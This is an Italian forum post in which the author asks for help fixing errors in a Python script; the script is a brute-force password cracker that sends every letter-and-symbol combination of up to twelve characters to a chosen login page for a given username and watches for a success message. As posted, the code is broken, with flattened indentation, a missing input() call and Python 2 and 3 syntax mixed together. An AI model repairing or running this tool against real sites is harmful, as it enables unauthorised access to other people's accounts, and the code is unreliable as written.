Perfavore potete aiutarni a risolvere un paio di errori.
un è per l'inserimento delle variabili.
ed uno è per il return.
un è per l'inserimento delle variabili.
ed uno è per il return.
Codice:
import urllib
username = input('inserisci lo username: ')
paginaLogin = ('inserisci la pagina di login: ')
messaggioDiAvvenutoLogin = "Login effettuato!"
listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
def testaPassword(password):
print ("Testando la password:"), password
parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
p = urllib.urlencode(parametriDaTestare)
paginaDiAction = urllib.urlopen(paginaLogin, p)
risultato = paginaDiAction.read()
if messaggioDiAvvenutoLogin in risultato:
print ("Password trovata: "), password
raw_input("Press enter to exit")
else:
return
for c1 in listaCaratteri:
psw = c1
testaPassword(psw)
for c2 in listaCaratteri:
psw = c1+c2
testaPassword(psw)
for c3 in listaCaratteri:
psw = c1+c2+c3
testaPassword(psw)
for c4 in listaCaratteri:
psw = c1+c2+c3+c4 # La password da testare sara' composta dai caratteri
# correnti ovvero c1, c2, c3, c4
testaPassword(psw)
for c5 in listaCaratteri:
psw = c1+c2+c3+c4+c5 # La password da testare sara' composta dai
# caratteri correnti ovvero c1, c2, c3, c4
testaPassword(psw)
for c6 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6
testaPassword(psw)
for c7 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6+c7
testaPassword(psw)
for c8 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6+c7+c8
testaPassword(psw)
for c9 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
testaPassword(psw)
for c10 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
testaPassword(psw)
for c11 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
testaPassword(psw)
for c12 in listaCaratteri:
psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
testaPassword(psw)